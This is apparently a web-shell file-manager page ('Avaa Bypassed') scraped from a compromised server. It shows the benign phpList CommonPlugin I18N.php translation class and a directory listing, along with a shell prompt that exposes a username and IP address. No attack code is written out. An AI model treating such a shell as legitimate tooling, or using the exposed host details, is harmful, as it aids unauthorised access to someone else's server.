[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.144.3.235: ~ $
<?php

namespace phpList\plugin\Common;

/**
 * CommonPlugin for phplist.
 *
 * This file is a part of CommonPlugin.
 *
 * @category  phplist
 *
 * @author    Duncan Cameron
 * @copyright 2011-2018 Duncan Cameron
 * @license   http://www.gnu.org/licenses/gpl.html GNU General Public License, Version 3
 */

/**
 * This class provides translation of text strings
 * The same approach as core phplist is used. A language file for each translated language.
 * If a language file does not exist then the class falls-back to English.
 * The language files are in the lan subdirectory of a plugin's main directory.
 */
class I18N
{
    /*
     *    Private attributes
     */
    private $coreI18N;
    private $iconv;
    private $lan;

    private static $instance;
    /*
     *    Public attributes
     */
    public $charSet;

    /**
     * Private constructor for the singleton pattern.
     *
     * @param phplistPlugin $pi an optional plugin whose language file should
     *                          be used for translations
     *
     * @throws Exception if the code is not executing within a plugin
     *
     * @return string the plugin's directory
     */
    public function __construct(\phplistPlugin $pi = null)
    {
        global $I18N, $strCharSet, $plugins;

        $this->charSet = strtoupper($strCharSet);
        $this->coreI18N = $I18N;
        $this->iconv = function_exists('iconv');

        $pluginDir = $pi ? $pi->coderoot : $this->pluginDir();
        $this->lan = $this->loadLanguageFile($this->languageDir($pluginDir));
        $this->lan += $this->loadLanguageFile($this->languageDir($plugins['CommonPlugin']->coderoot));
    }

    /**
     * Derives the directory for a plugin using the $_GET parameter.
     *
     * @throws Exception if the code is not executing within a plugin
     *
     * @return string the plugin's directory
     */
    private function pluginDir()
    {
        global $plugins;

        if (isset($_GET['pi'])) {
            $pi = preg_replace('/\W/', '', $_GET['pi']);

            if (isset($plugins[$pi]) && is_object($plugins[$pi])) {
                return $plugins[$pi]->coderoot;
            }
        }
        throw new \Exception('I18N must be created within a plugin');
    }

    /**
     * Derives the language directory within a plugin directory.
     *
     * @param string $pluginDir the plugin directory
     *
     * @return string the actual or best guess language directory
     */
    private function languageDir($pluginDir)
    {
        if (is_dir($pluginDir.'lan/')) {
            $dir = $pluginDir.'lan/';
        } else {
            $dir = $pluginDir;
        }

        return $dir;
    }

    /**
     * Searches for the language file beneath a given directory.
     *
     * @param string $dir the target directory
     *
     * @return array array of translations
     */
    private function loadLanguageFile($dir)
    {
        if (is_file($f = "{$dir}{$this->coreI18N->language}_{$this->charSet}.php")
            ||
            is_file($f = "{$dir}{$this->coreI18N->language}.php")
            ||
            is_file($f = "{$dir}en.php")
        ) {
            @include $f;
        } else {
            $lan = array();
        }

        return $lan;
    }

    /**
     * Returns the single instance of this class.
     *
     * @return I18N The instance of this class
     */
    public static function instance()
    {
        if (!isset(self::$instance)) {
            $c = __CLASS__;
            self::$instance = new $c();
        }

        return self::$instance;
    }

    /**
     * Translates a key or array of keys.
     * Tries lower case when the key does not exist.
     * Further parameters can be provided for sprintf() type formatting.
     *
     * @param array|string $key   the key or keys to be translated
     * @param mixed        $v,... additional variables to format with vsprintf()
     *
     * @return array|string a translated string if one is found, or the key if not found
     */
    public function get($key)
    {
        if (is_array($key)) {
            return array_map(array($this, 'get'), $key);
        }

        if (isset($this->lan[$key])) {
            $t = $this->lan[$key];
        } elseif (isset($this->lan[strtolower($key)])) {
            $t = $this->lan[strtolower($key)];
        } else {
            $t = $key;
        }

        if (func_num_args() > 1) {
            $args = func_get_args();
            array_shift($args);
            $t = vsprintf($t, $args);
        }

        return $t;
    }

    /**
     * Translates a key or array of keys in UTF-8.
     *
     * @param array|string $key the key or keys to be translated
     *
     * @return array|string a translated string if one is found, or the key if not found
     */
    public function getUtf8($key)
    {
        if ($this->charSet == 'UTF-8') {
            return $this->get($key);
        }

        if (is_array($key)) {
            return array_map(array($this, 'getUtf8'), $key);
        }

        $t = $this->get($key);

        return $this->iconv
            ? iconv($this->charSet, 'UTF-8', $t)
            : utf8_encode($t);
    }
}

Filemanager

Name Type Size Permission Actions
DAO Folder 0755
BaseController.php File 936 B 0644
Config.php File 1003 B 0644
Container.php File 509 B 0644
Context.php File 1.18 KB 0644
Controller.php File 2.43 KB 0644
ControllerFactory.php File 479 B 0644
ControllerFactoryBase.php File 1.4 KB 0644
DAO.php File 692 B 0644
DB.php File 2.47 KB 0644
DBResultIterator.php File 931 B 0644
Exception.php File 1.03 KB 0644
ExportCSV.php File 962 B 0644
ExportCSVAsync.php File 4.3 KB 0644
ExportXML.php File 1.4 KB 0644
FPDF.php File 1.03 KB 0644
FileNotFoundException.php File 631 B 0644
FileServer.php File 2.21 KB 0644
FrontendTranslator.php File 1.46 KB 0644
HelpManager.php File 2.61 KB 0644
HtmlToPdf.php File 683 B 0644
I18N.php File 5.05 KB 0644
IChartable.php File 447 B 0644
IExportable.php File 569 B 0644
IMailClient.php File 1.33 KB 0644
IPopulator.php File 517 B 0644
ImageTag.php File 894 B 0644
Listing.php File 1.23 KB 0644
Logger.php File 2.88 KB 0644
MailSender.php File 7.12 KB 0644
Main.php File 1.21 KB 0644
Model.php File 2.17 KB 0644
PageLink.php File 1.33 KB 0644
PageURL.php File 1.87 KB 0644
Pager.php File 7.46 KB 0644
Paginator.php File 1.53 KB 0644
Populator.php File 1.34 KB 0644
StringCallback.php File 559 B 0644
StringStream.php File 3.41 KB 0644
Tabs.php File 707 B 0644
Toolbar.php File 2.62 KB 0644
UniqueLogger.php File 1.14 KB 0644
View.php File 669 B 0644
WebblerListing.php File 3.85 KB 0644
Widget.php File 1.12 KB 0644
about.tpl.php File 553 B 0644
depends.php File 1.45 KB 0644
helpmanager.tpl.php File 676 B 0644
pager.tpl.php File 2.14 KB 0644
toolbar.tpl.php File 1.04 KB 0644
widget_attributeform.tpl.php File 3.42 KB 0644